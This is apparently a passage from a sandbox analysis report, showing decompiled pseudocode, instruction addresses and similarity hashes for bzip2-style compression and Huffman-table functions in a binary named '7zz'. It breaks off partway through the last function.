				signed int _t247;
				unsigned int _t250;
				unsigned int _t251;
				signed int _t252;
				signed char _t263;
				intOrPtr _t273;
				intOrPtr* _t276;
				intOrPtr* _t281;
				int _t282;
				intOrPtr _t283;
				signed int _t294;
				void* _t301;
				unsigned int _t306;
				void* _t307;
				signed char _t310;
				intOrPtr* _t312;
				void* _t313;
				void* _t316;
				signed int _t318;
				void* _t319;
				intOrPtr* _t320;
				void* _t321;

				_t319 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x1cc0)) != 0) {
					_t201 =  *((intOrPtr*)(__ecx + 8));
					_t276 = __ecx + 8;
					if(_t201 <  *((intOrPtr*)(__ecx + 0xc))) {
						 *_t276 = _t201 + 1;
					} else {
						E0040E070(_t276);
					}
				}
				_t312 = _t319 + 8;
				if( *(_t319 + 0x2c) >= 0x10) {
					do {
						_t189 =  *_t312;
						if(_t189 <  *((intOrPtr*)(_t312 + 4))) {
							 *(_t321 + 0x10) =  *_t189;
							 *_t312 = _t189 + 1;
						} else {
							 *(_t321 + 0x10) = E0040E070(_t312);
						}
						_t191 =  *_t312;
						if(_t191 <  *((intOrPtr*)(_t312 + 4))) {
							 *(_t321 + 0x14) =  *_t191;
							 *_t312 = _t191 + 1;
						} else {
							 *(_t321 + 0x14) = E0040E070(_t312);
						}
						_t273 =  *((intOrPtr*)(_t312 + 0x24)) + 0xfffffff0;
						 *((intOrPtr*)(_t312 + 0x24)) = _t273;
						 *(_t312 + 0x20) = ( *(_t312 + 0x20) << 0x00000008 |  *(_t321 + 0x14) & 0x000000ff) << 0x00000008 |  *(_t321 + 0x10) & 0x000000ff;
					} while (_t273 >= 0x10);
				}
				_t294 = E00450B20(3);
				 *(_t321 + 0x10) = _t294;
				if(_t294 <= 3) {
					if( *((intOrPtr*)(_t319 + 0x1cc1)) == 0) {
						_t134 =  *((intOrPtr*)(_t312 + 0x24));
						 *((intOrPtr*)(_t312 + 0x24)) = _t134 + 0xc;
						E00450FC0(_t312);
						_t137 =  *((intOrPtr*)(_t312 + 0x24));
						 *((intOrPtr*)(_t312 + 0x24)) = _t137 + 0xc;
						_t139 = E00450FC0(_t312);
						 *(_t319 + 0x1cb4) = (( *(_t312 + 0x20) >> 0x0000000f - _t134 >> 0x00000005 & 0x00000fff) << 0xc) + ( *(_t312 + 0x20) >> 0x0000000f - _t137 >> 0x00000005 & 0x00000fff);
						_t294 =  *(_t321 + 0x10);
					} else {
						_t139 = E00450B20(1);
						if(_t139 != 1) {
							_t139 = E00450B20(0x10);
							 *(_t319 + 0x1cb4) = _t139;
						} else {
							 *(_t319 + 0x1cb4) = 0x8000;
						}
					}
					_t140 = _t139 & 0xffffff00 | _t294 == 0x00000003;
					 *(_t319 + 0x68) = _t140;
					if(_t140 == 0 || ( *(_t319 + 0x1cb4) & 0x00000001) == 0) {
						_t223 = 0;
					} else {
						_t223 = 1;
					}
					 *(_t319 + 0x1cc0) = _t223;
					if(_t140 == 0) {
						_t141 = _t140 & 0xffffff00 | _t294 == 0x00000002;
						 *(_t319 + 0x69) = _t141;
						if(_t141 == 0) {
							L52:
							_push(0x100);
							_push(_t321 + 0xa4);
							_push(_t319 + 0x1920);
							_t143 = E00450BD0(_t319);
							if(_t143 != 0) {
								_push( *((intOrPtr*)(_t319 + 0x64)));
								_push(_t321 + 0x1a4);
								_push(_t319 + 0x1a20);
								_t145 = E00450BD0(_t319);
								if(_t145 != 0) {
									_t147 =  *((intOrPtr*)(_t319 + 0x64)) + 0x100;
									if(_t147 < 0x290) {
										_t301 = _t321 + _t147 + 0xa4;
										memset(_t301 + (0x290 - _t147 >> 2), memset(_t301, 0, 0x290 << 2), 0 << 0);
										_t321 = _t321 + 0x18;
									}
									_push(_t321 + 0xa4);
									_t149 = E00451F90(_t319 + 0x6c);
									if(_t149 != 0) {
										_push(0xf9);
										_push(_t321 + 0xa4);
										_push(_t319 + 0x1bb0);
										if(E00450BD0(_t319) != 0) {
											_push(_t321 + 0xa4);
											return E004520E0(_t319 + 0xd34);
										} else {
											goto L61;
										}
									} else {
										return _t149;
									}
								} else {
									return _t145;
								}
							} else {
								return _t143;
							}
						} else {
							_t313 = 0;
							do {
								 *((char*)(_t321 + _t313 + 0xa4)) = E00450B20(3);
								_t313 = _t313 + 1;
							} while (_t313 < 8);
							_t281 = _t319 + 0x1428;
							memset(_t321 + 0x20, 0, 0x10 << 2);
							_t321 = _t321 + 0xc;
							_t306 = 0;
							_t241 = 0;
							while(0 <= 0x10) {
								 *_t281 = 0xffffffff;
								_t241 = _t241 + 1;
								_t281 = _t281 + 4;
								 *((intOrPtr*)(_t321 + 0x1c)) =  *((intOrPtr*)(_t321 + 0x1c)) + 1;
								if(_t241 < 8) {
									continue;
								} else {
									_t163 = 0;
									 *(_t321 + 0x1c) = _t306;
									 *(_t319 + 0x13a0) = _t306;
									 *(_t319 + 0x13e4) = _t306;
									 *(_t321 + 0x10) = 0;
									_t282 = 1;
									while(1) {
										_t316 = _t321 + 0x1c + _t282 * 4;
										_t306 = _t306 + ( *(_t321 + 0x1c + _t282 * 4) << 0x10 - _t282);
										 *(_t321 + 0x18) = _t306;
										if(_t306 > 0x10000) {
											goto L61;
										}
										_t244 = 0x10000;
										if(_t282 != 0x10) {
											_t244 = _t306;
										}
										 *(_t319 + 0x13a0 + _t282 * 4) = _t244;
										_t246 =  *((intOrPtr*)(_t319 + 0x13e0 + _t282 * 4)) +  *((intOrPtr*)(_t316 - 4));
										 *((intOrPtr*)(_t319 + 0x13e4 + _t282 * 4)) = _t246;
										 *((intOrPtr*)(_t321 + 0x60 + _t282 * 4)) = _t246;
										if(_t282 <= 9) {
											_t250 =  *(_t319 + 0x13a0 + _t282 * 4) >> 7;
											if(_t163 < _t250) {
												_t96 = _t319 + 0x1448; // 0x1448
												_t307 = _t163 + _t96;
												_t251 = _t250 - _t163;
												 *(_t321 + 0x14) = _t251;
												_t318 = _t251;
												_t252 = _t251 >> 2;
												memset(_t307 + _t252, memset(_t307, _t282, _t252 << 2), (_t318 & 0x00000003) << 0);
												_t321 = _t321 + 0x18;
												_t306 =  *(_t321 + 0x18);
												_t163 =  *(_t321 + 0x10) + _t318;
												 *(_t321 + 0x10) = _t163;
											}
										}
										_t282 = _t282 + 1;
										if(_t282 <= 0x10) {
											continue;
										} else {
											_t283 = 0;
											do {
												if(0 != 0) {
													_t247 =  *(_t321 + 0x60);
													 *((intOrPtr*)(_t319 + 0x1428 + _t247 * 4)) = _t283;
													 *(_t321 + 0x60) = _t247 + 1;
												}
												_t283 = _t283 + 1;
											} while (_t283 < 8);
											goto L52;
										}
										goto L63;
									}
									goto L61;
								}
								goto L63;
							}
							goto L61;
						}
					} else {
						E00450B20(0x10 - ( *(_t319 + 0x2c) & 0x0000000f));
						if( *((intOrPtr*)(_t312 + 0x24)) != 0) {
							L61:
							return 0;
						} else {
							 *(_t321 + 0x14) = 2;
							 *(_t319 + 0x58) =  *(_t312 + 0x20) >> 0x00000010 |  *(_t312 + 0x20) << 0x00000010;
							 *((intOrPtr*)(_t312 + 0x24)) = 0x20;
							 *(_t319 + 0x58) =  *(_t319 + 0x58) - 1;
							_t320 = _t319 + 0x5c;
							do {
								_t213 = 0;
								_t310 = 0;
								do {
									_t182 =  *_t312;
									if(_t182 <  *((intOrPtr*)(_t312 + 4))) {
										 *(_t321 + 0x10) =  *_t182;
										 *_t312 = _t182 + 1;
									} else {
										 *(_t321 + 0x10) = E0040E070(_t312);
									}
									_t263 = _t310;
									_t310 = _t310 + 8;
									_t213 = _t213 | ( *(_t321 + 0x10) & 0x000000ff) << _t263;
								} while (_t310 < 0x20);
								 *_t320 = _t213 - 1;
								_t320 = _t320 + 4;
								_t185 =  *(_t321 + 0x14) - 1;
								 *(_t321 + 0x14) = _t185;
							} while (_t185 != 0);
							return 1;
						}
					}
				} else {
					return 0;
				}
				L63:
			}

0x00451058
0x00451064
0x00451066
0x0045106c
0x00451071
0x0045107b
0x00451073
0x00451073
0x00451073
0x00451071
0x00451080
0x0045108a
0x00451091
0x00451091
0x00451098
0x004510aa
0x004510ae
0x0045109a
0x004510a1
0x004510a1
0x004510b0
0x004510b7
0x004510c9
0x004510cd
0x004510b9
0x004510c0
0x004510c0
0x004510f1
0x004510f5
0x004510f8
0x004510fd
0x00451091
0x0045110a
0x0045110f
0x00451113
0x0045112a
0x00451156
0x0045116a
0x00451176
0x0045117b
0x0045118f
0x0045119b
0x004511a5
0x004511ab
0x0045112c
0x00451130
0x00451138
0x00451149
0x0045114e
0x0045113a
0x0045113a
0x0045113a
0x00451138
0x004511b2
0x004511b7
0x004511ba
0x004511cc
0x004511c5
0x004511c5
0x004511c5
0x004511d0
0x004511d6
0x00451282
0x00451287
0x0045128a
0x004513d0
0x004513d7
0x004513e2
0x004513e3
0x004513e6
0x004513ed
0x00451404
0x0045140b
0x0045140c
0x0045140f
0x00451416
0x00451426
0x00451430
0x00451437
0x0045144e
0x0045144e
0x0045144e
0x0045145a
0x0045145b
0x00451462
0x00451476
0x00451481
0x00451482
0x0045148c
0x004514a8
0x004514b8
0x00000000
0x00000000
0x00000000
0x0045146e
0x0045146e
0x0045146e
0x00451422
0x00451422
0x00451422
0x004513f9
0x004513f9
0x004513f9
0x00451290
0x00451290
0x00451292
0x0045129b
0x004512a2
0x004512a3
0x004512b3
0x004512b9
0x004512b9
0x004512bb
0x004512bd
0x004512bf
0x004512da
0x004512e0
0x004512e1
0x004512e7
0x004512e9
0x00000000
0x004512eb
0x004512eb
0x004512ed
0x004512f1
0x004512f7
0x004512fd
0x00451301
0x00451306
0x0045130a
0x00451317
0x0045131f
0x00451323
0x00000000
0x00000000
0x0045132c
0x00451331
0x00451333
0x00451333
0x00451338
0x00451346
0x0045134b
0x00451352
0x00451356
0x0045135f
0x00451364
0x00451366
0x00451366
0x0045136d
0x00451371
0x00451377
0x00451383
0x0045138d
0x0045138d
0x00451393
0x00451399
0x0045139b
0x0045139b
0x00451364
0x0045139f
0x004513a3
0x00000000
0x004513a9
0x004513a9
0x004513ab
0x004513b6
0x004513b8
0x004513c0
0x004513c8
0x004513c8
0x004513ca
0x004513cb
0x00000000
0x004513ab
0x00000000
0x004513a3
0x00000000
0x00451306
0x00000000
0x004512e9
0x00000000
0x004512bf
0x004511dc
0x004511ec
0x004511f6
0x00451491
0x0045149a
0x004511fc
0x004511ff
0x00451211
0x00451214
0x0045121f
0x00451222
0x00451225
0x00451225
0x00451227
0x00451229
0x00451229
0x00451230
0x00451242
0x00451246
0x00451232
0x00451239
0x00451239
0x0045124c
0x00451254
0x00451259
0x0045125b
0x00451265
0x00451268
0x0045126b
0x0045126c
0x0045126c
0x0045127e
0x0045127e
0x004511f6
0x00451118
0x00451121
0x00451121
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a7e5d09e26d5753100cc2568189196292b632a231a3296cbee244cacba0436a
Instruction ID: 7ffc51f0b6ed8d7e1b84f6e78e82dd49a9c305e9cdf2e8039c63d13bff25686b
Opcode Fuzzy Hash: 5a7e5d09e26d5753100cc2568189196292b632a231a3296cbee244cacba0436a
Instruction Fuzzy Hash: 45D1F1327043454FDB28CE68D8907EEB7D2ABC9305F44093EED8AC7782D678A949C795

Uniqueness

Uniqueness Score: -1.00%

Function 00449460 Relevance: .3, Instructions: 343
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00449460(intOrPtr __ecx) {
				signed char _t107;
				signed char _t110;
				signed char _t133;
				signed char _t134;
				signed int _t137;
				signed int _t139;
				signed char _t141;
				signed char _t143;
				signed char _t148;
				signed char _t149;
				signed char _t158;
				signed char _t160;
				signed char _t169;
				signed char _t170;
				signed char _t185;
				signed char _t186;
				signed char _t189;
				signed char _t219;
				intOrPtr _t251;
				intOrPtr _t257;
				intOrPtr* _t264;
				signed char _t265;
				void* _t267;
				intOrPtr _t269;
				intOrPtr* _t273;
				signed char _t274;
				void* _t275;
				void* _t276;
				signed char _t277;
				void* _t278;
				intOrPtr _t279;
				void* _t280;

				_push(0xffffffff);
				_push(E00479538);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t279;
				_t280 = _t279 - 0x10;
				_t269 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1b0)) =  *((intOrPtr*)(_t279 + 0x20));
				_t107 = E004481D0(__ecx);
				if(_t107 == 0) {
					_t185 = 0;
					if( *((intOrPtr*)(__ecx + 0x198)) <= 0) {
						L9:
						_t273 = _t269 + 0x20;
						if(E0040DF95(_t273, 0x20000) != 0) {
							_t264 = _t269 + 0x140;
							_t110 = E0040EE76(_t264, 0x20000);
							__eflags = _t110;
							if(_t110 != 0) {
								_t251 =  *((intOrPtr*)(_t280 + 0x30));
								E0040DFE4(_t273, _t251);
								E0040DFF3(_t273);
								E0040EEC1(_t264,  *((intOrPtr*)(_t280 + 0x34)));
								E0040EED0(_t264);
								 *(_t264 + 0x28) = 8;
								 *(_t264 + 0x2c) = 0;
								 *((intOrPtr*)(_t280 + 0x30)) = _t269;
								_t186 = 0;
								 *((intOrPtr*)(_t280 + 0x28)) = 0;
								 *((intOrPtr*)(_t269 + 0x174)) = 0;
								 *((intOrPtr*)(_t269 + 0x1a0)) = 0;
								 *((char*)(_t269 + 0x1a5)) = 0;
								 *((char*)(_t269 + 0x1a4)) = 0;
								L00467B30(_t269 + 0x1a8);
								E004486E0(0x42);
								E004486E0(0x5a);
								E004486E0(0x68);
								E004486E0( *((intOrPtr*)(_t269 + 0x10)) + 0x30);
								__eflags =  *(_t269 + 0x19c);
								if( *(_t269 + 0x19c) == 0) {
									_t187 =  *((intOrPtr*)(_t269 + 0x178));
									__eflags = E00448490(_t269,  *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x178)))));
									if(__eflags == 0) {
										L31:
										_t186 = 0;
										__eflags = 0;
										goto L32;
									} else {
										while(1) {
											_t189 = E00449200(_t187, __eflags, _t123);
											__eflags = _t189;
											if(_t189 != 0) {
												break;
											}
											__eflags =  *(_t280 + 0x40);
											if( *(_t280 + 0x40) == 0) {
												L30:
												_t187 =  *((intOrPtr*)(_t269 + 0x178));
												_t251 =  *((intOrPtr*)( *((intOrPtr*)(_t269 + 0x178))));
												__eflags = E00448490(_t269, _t251);
												if(__eflags != 0) {
													continue;
												} else {
													goto L31;
												}
											} else {
												asm("cdq");
												asm("adc edx, ecx");
												 *((intOrPtr*)(_t280 + 0x18)) =  *_t273 -  *((intOrPtr*)(_t273 + 8)) +  *((intOrPtr*)(_t273 + 0x10));
												 *((intOrPtr*)(_t280 + 0x1c)) = _t251;
												 *((intOrPtr*)(_t280 + 0x10)) = E0040EEE8(_t264) + (0xf -  *(_t264 + 0x28) >> 3);
												_t158 =  *(_t280 + 0x40);
												asm("adc edx, ebx");
												 *((intOrPtr*)(_t280 + 0x18)) = _t251;
												_t189 =  *((intOrPtr*)( *_t158 + 0xc))(_t158, _t280 + 0x1c, _t280 + 0x10);
												__eflags = _t189;
												if(_t189 != 0) {
													_t160 =  *(_t269 + 0x2c);
													 *((intOrPtr*)(_t280 + 0x28)) = 0xffffffff;
													__eflags = _t160;
													if(_t160 != 0) {
														 *((intOrPtr*)( *_t160 + 8))(_t160);
														 *(_t269 + 0x2c) = 0;
													}
													_t149 =  *(_t269 + 0x154);
													__eflags = _t149;
													if(_t149 != 0) {
														L53:
														 *((intOrPtr*)( *_t149 + 8))(_t149);
														 *(_t269 + 0x154) = 0;
													}
													L54:
													_t107 = _t189;
												} else {
													goto L30;
												}
											}
											goto L55;
										}
										_t148 =  *(_t269 + 0x2c);
										 *((intOrPtr*)(_t280 + 0x28)) = 0xffffffff;
										__eflags = _t148;
										if(_t148 != 0) {
											 *((intOrPtr*)( *_t148 + 8))(_t148);
											 *(_t269 + 0x2c) = 0;
										}
										_t149 =  *(_t269 + 0x154);
										__eflags = _t149;
										if(_t149 != 0) {
											goto L53;
										}
										goto L54;
									}
								} else {
									L00467B10( *((intOrPtr*)(_t269 + 0x178)) + 0x8cf0);
									 *(_t269 + 0x1ac) = 0;
									L00467B10(_t269 + 0x17c);
									_t275 = 0;
									__eflags =  *(_t269 + 0x198);
									if( *(_t269 + 0x198) > 0) {
										do {
											L00467AC0( *((intOrPtr*)(_t186 +  *((intOrPtr*)(_t269 + 0x178)) + 0x8ce8)));
											_t275 = _t275 + 1;
											_t186 = _t186 + 0x8e00;
											__eflags = _t275 -  *(_t269 + 0x198);
										} while (_t275 <  *(_t269 + 0x198));
										_t186 = 0;
										__eflags = 0;
									}
									L00467B30(_t269 + 0x17c);
									L00467B10(_t269 + 0x1a8);
									_t276 = 0;
									__eflags =  *(_t269 + 0x198) - _t186;
									if( *(_t269 + 0x198) > _t186) {
										do {
											L00467AC0( *((intOrPtr*)(_t186 +  *((intOrPtr*)(_t269 + 0x178)) + 0x8cec)));
											_t276 = _t276 + 1;
											_t186 = _t186 + 0x8e00;
											__eflags = _t276 -  *(_t269 + 0x198);
										} while (_t276 <  *(_t269 + 0x198));
										_t186 = 0;
										__eflags = 0;
									}
									L00467B30(_t269 + 0x1a8);
									_t277 =  *(_t269 + 0x1ac);
									__eflags = _t277 - _t186;
									if(_t277 == _t186) {
										L32:
										E004486E0(0x17);
										E004486E0(0x72);
										E004486E0(0x45);
										E004486E0(0x38);
										E004486E0(0x50);
										E004486E0(0x90);
										E00448700(_t269,  *((intOrPtr*)(_t269 + 0x174)));
										_t274 =  *(_t264 + 0x28);
										__eflags = _t274 - 8;
										if(_t274 < 8) {
											__eflags = _t274;
											if(_t274 > 0) {
												while(1) {
													_t137 =  *(_t264 + 0x28);
													__eflags = _t274 - _t137;
													if(_t274 < _t137) {
														break;
													}
													_t274 = _t274 - _t137;
													_t219 = _t274;
													_t143 = _t186 >> _t219;
													_t186 = _t186 - (_t143 << _t219);
													 *( *((intOrPtr*)(_t264 + 4)) +  *_t264) =  *(_t264 + 0x2c) | _t143;
													_t257 =  *((intOrPtr*)(_t264 + 4)) + 1;
													 *((intOrPtr*)(_t264 + 4)) = _t257;
													__eflags = _t257 -  *((intOrPtr*)(_t264 + 8));
													if(__eflags == 0) {
														E0040EFBD(_t264, __eflags);
													}
													__eflags = _t274;
													 *(_t264 + 0x28) = 8;
													 *(_t264 + 0x2c) = 0;
													if(_t274 > 0) {
														continue;
													} else {
													}
													goto L40;
												}
												_t139 =  *(_t264 + 0x28) - _t274;
												 *(_t264 + 0x28) = _t139;
												_t141 =  *(_t264 + 0x2c) | _t186 << _t139;
												__eflags = _t141;
												 *(_t264 + 0x2c) = _t141;
											}
											L40:
											_t186 = 0;
											__eflags = 0;
										}
										_t265 = E0040EFA1(_t264);
										_t133 =  *(_t269 + 0x2c);
										__eflags = _t133 - _t186;
										 *((intOrPtr*)(_t280 + 0x28)) = 0xffffffff;
										if(_t133 != _t186) {
											 *((intOrPtr*)( *_t133 + 8))(_t133);
											 *(_t269 + 0x2c) = _t186;
										}
										_t134 =  *(_t269 + 0x154);
										__eflags = _t134 - _t186;
										if(_t134 != _t186) {
											 *((intOrPtr*)( *_t134 + 8))(_t134);
											 *(_t269 + 0x154) = _t186;
										}
										_t107 = _t265;
									} else {
										_t169 =  *(_t269 + 0x2c);
										 *((intOrPtr*)(_t280 + 0x28)) = 0xffffffff;
										__eflags = _t169 - _t186;
										if(_t169 != _t186) {
											 *((intOrPtr*)( *_t169 + 8))(_t169);
											 *(_t269 + 0x2c) = _t186;
										}
										_t170 =  *(_t269 + 0x154);
										__eflags = _t170 - _t186;
										if(_t170 != _t186) {
											 *((intOrPtr*)( *_t170 + 8))(_t170);
											 *(_t269 + 0x154) = _t186;
										}
										_t107 = _t277;
									}
								}
							} else {
								goto L12;
							}
						} else {
							_t107 = 0x8007000e;
						}
					} else {
						_t278 = 0;
						do {
							_t267 = _t278 +  *((intOrPtr*)(_t269 + 0x178));
							if( *(_t269 + 0x19c) == 0) {
								L7:
								 *((char*)(_t267 + 0x8cdc)) =  *((intOrPtr*)(_t269 + 0x14));
								if(L00447C30(_t267) == 0) {
									L12:
									_t107 = 0x8007000e;
								} else {
									goto L8;
								}
							} else {
								_t6 = _t267 + 0x8ce8; // 0x8ce8
								_t107 = L00467B30(_t6);
								if(_t107 == 0) {
									_t7 = _t267 + 0x8cec; // 0x8cec
									_t107 = L00467B30(_t7);
									if(_t107 == 0) {
										_t8 = _t267 + 0x8cf0; // 0x8cf0
										_t107 = L00467B30(_t8);
										if(_t107 == 0) {
											goto L7;
										}
									}
								}
							}
							goto L55;
							L8:
							_t185 = _t185 + 1;
							_t278 = _t278 + 0x8e00;
						} while (_t185 <  *(_t269 + 0x198));
						goto L9;
					}
				}
				L55:
				 *[fs:0x0] =  *((intOrPtr*)(_t280 + 0x20));
				return _t107;
			}

0x00449466
0x00449468
0x0044946d
0x0044946e
0x00449479
0x0044947f
0x00449482
0x00449488
0x0044948f
0x0044949b
0x0044949f
0x00449515
0x00449515
0x00449526
0x00449532
0x0044953f
0x00449544
0x00449546
0x00449552
0x00449559
0x00449560
0x0044956c
0x00449573
0x00449578
0x0044957f
0x00449583
0x00449587
0x0044958f
0x00449593
0x00449599
0x0044959f
0x004495a5
0x004495ab
0x004495b4
0x004495bd
0x004495c6
0x004495d4
0x004495df
0x004495e1
0x004496dd
0x004496ed
0x004496ef
0x00449782
0x00449782
0x00449782
0x00000000
0x004496f5
0x004496f5
0x004496fd
0x004496ff
0x00449701
0x00000000
0x00000000
0x0044970b
0x0044970d
0x0044976a
0x0044976a
0x00449772
0x0044977a
0x0044977c
0x00000000
0x00000000
0x00000000
0x00000000
0x0044970f
0x0044971d
0x00449720
0x00449724
0x00449728
0x00449746
0x0044974a
0x0044974e
0x00449755
0x00449760
0x00449762
0x00449764
0x0044989a
0x0044989d
0x004498a5
0x004498a7
0x004498ac
0x004498af
0x004498af
0x004498b6
0x004498bc
0x004498be
0x004498c0
0x004498c3
0x004498c6
0x004498c6
0x004498d0
0x004498d0
0x00000000
0x00000000
0x00000000
0x00449764
0x00000000
0x0044970d
0x00449872
0x00449875
0x0044987d
0x0044987f
0x00449884
0x00449887
0x00449887
0x0044988e
0x00449894
0x00449896
0x00000000
0x00449898
0x00000000
0x00449896
0x004495e7
0x004495f3
0x004495fe
0x00449604
0x0044960f
0x00449611
0x00449613
0x00449615
0x00449629
0x00449634
0x00449635
0x0044963b
0x0044963b
0x0044963f
0x0044963f
0x0044963f
0x00449647
0x00449652
0x0044965d
0x0044965f
0x00449661
0x00449663
0x00449677
0x00449682
0x00449683
0x00449689
0x00449689
0x0044968d
0x0044968d
0x0044968d
0x00449695
0x0044969a
0x004496a0
0x004496a2
0x00449784
0x00449788
0x00449791
0x0044979a
0x004497a3
0x004497ac
0x004497b8
0x004497c6
0x004497cb
0x004497ce
0x004497d1
0x004497d3
0x004497d5
0x004497d7
0x004497d7
0x004497da
0x004497dc
0x00000000
0x00000000
0x004497de
0x004497e2
0x004497e4
0x004497f2
0x004497f6
0x004497ff
0x00449802
0x00449805
0x00449807
0x0044980b
0x0044980b
0x00449810
0x00449812
0x00449819
0x0044981d
0x00000000
0x00000000
0x0044981f
0x00000000
0x0044981d
0x00449824
0x00449828
0x00449830
0x00449830
0x00449832
0x00449832
0x00449835
0x00449835
0x00449835
0x00449835
0x0044983e
0x00449840
0x00449843
0x00449845
0x0044984d
0x00449852
0x00449855
0x00449855
0x00449858
0x0044985e
0x00449860
0x00449865
0x00449868
0x00449868
0x0044986e
0x004496a8
0x004496a8
0x004496ab
0x004496b3
0x004496b5
0x004496ba
0x004496bd
0x004496bd
0x004496c0
0x004496c6
0x004496c8
0x004496cd
0x004496d0
0x004496d0
0x004496d6
0x004496d6
0x004496a2
0x00000000
0x00000000
0x00000000
0x00449528
0x00449528
0x00449528
0x004494a1
0x004494a1
0x004494a3
0x004494b1
0x004494b5
0x004494f0
0x004494f3
0x00449502
0x00449548
0x00449548
0x00000000
0x00000000
0x00000000
0x004494b7
0x004494b7
0x004494bd
0x004494c4
0x004494ca
0x004494d0
0x004494d7
0x004494dd
0x004494e3
0x004494ea
0x00000000
0x00000000
0x004494ea
0x004494d7
0x004494c4
0x00000000
0x00449504
0x0044950a
0x0044950b
0x00449511
0x00000000
0x004494a3
0x0044949f
0x004498d2
0x004498da
0x004498e4

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ErrorEventLast$ObjectResetSingleWait
String ID:
API String ID: 2703132900-0
Opcode ID: 0079d454e35e10e96df4d7af03ea51e438f51775e4882a6c1d798cc27c30d208
Instruction ID: cb7edc23985cc21b463dff47bc8f4930bbb377ff39c12e3229b9d5c30bfef748
Opcode Fuzzy Hash: 0079d454e35e10e96df4d7af03ea51e438f51775e4882a6c1d798cc27c30d208
Instruction Fuzzy Hash: FBD16030304B059BE714EF79C490AABB7E5BF45318F044A2EE59A87781DB38AC45CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00450BD0 Relevance: .3, Instructions: 309
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00450BD0(void* __ecx) {
				intOrPtr _t141;
				char* _t146;
				void* _t149;
				void* _t151;
				intOrPtr* _t153;
				intOrPtr* _t167;
				intOrPtr* _t169;
				int _t190;
				signed int _t191;
				void* _t202;
				unsigned int _t205;
				intOrPtr _t207;
				signed int _t208;
				char* _t210;
				intOrPtr _t215;
				intOrPtr _t244;
				intOrPtr _t247;
				unsigned int _t249;
				unsigned int _t250;
				signed int _t251;
				intOrPtr* _t257;
				int _t258;
				intOrPtr _t259;
				intOrPtr _t261;
				char _t266;
				signed int _t274;
				intOrPtr* _t275;
				void* _t278;
				int _t281;
				void* _t284;
				intOrPtr _t287;
				unsigned int _t291;
				signed int _t294;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				void* _t303;
				void* _t304;
				void* _t305;

				_t303 = __ecx;
				_t281 = 0;
				goto L1;
				L3:
				while(0 <= 0x10) {
					 *_t257 = 0xffffffff;
					_t202 = _t202 + 1;
					_t257 = _t257 + 4;
					 *((intOrPtr*)(_t305 + 0x3c)) =  *((intOrPtr*)(_t305 + 0x3c)) + 1;
					if(_t202 < 0x14) {
						continue;
					} else {
						_t274 = 0;
						_t141 = 0;
						 *((intOrPtr*)(_t305 + 0x3c)) = 0;
						 *((intOrPtr*)(_t303 + 0x1648)) = 0;
						 *((intOrPtr*)(_t303 + 0x168c)) = 0;
						 *((intOrPtr*)(_t305 + 0x10)) = 0;
						_t258 = 1;
						while(1) {
							_t284 = _t305 + 0x3c + _t258 * 4;
							_t274 = _t274 + ( *(_t305 + 0x3c + _t258 * 4) << 0x10 - _t258);
							 *(_t305 + 0x1c) = _t274;
							if(_t274 > 0x10000) {
								goto L50;
							}
							_t205 = 0x10000;
							if(_t258 != 0x10) {
								_t205 = _t274;
							}
							 *(_t303 + 0x1648 + _t258 * 4) = _t205;
							_t207 =  *((intOrPtr*)(_t303 + 0x1688 + _t258 * 4)) +  *((intOrPtr*)(_t284 - 4));
							 *((intOrPtr*)(_t303 + 0x168c + _t258 * 4)) = _t207;
							 *((intOrPtr*)(_t305 + 0x80 + _t258 * 4)) = _t207;
							if(_t258 <= 9) {
								_t249 =  *(_t303 + 0x1648 + _t258 * 4) >> 7;
								if(_t141 < _t249) {
									_t42 = _t303 + 0x1720; // 0x1720
									_t278 = _t141 + _t42;
									_t250 = _t249 - _t141;
									 *(_t305 + 0x18) = _t250;
									_t302 = _t250;
									_t251 = _t250 >> 2;
									memset(_t278 + _t251, memset(_t278, _t258, _t251 << 2), (_t302 & 0x00000003) << 0);
									_t305 = _t305 + 0x18;
									_t274 =  *(_t305 + 0x1c);
									_t141 =  *((intOrPtr*)(_t305 + 0x10)) + _t302;
									 *((intOrPtr*)(_t305 + 0x10)) = _t141;
								}
							}
							_t258 = _t258 + 1;
							if(_t258 <= 0x10) {
								continue;
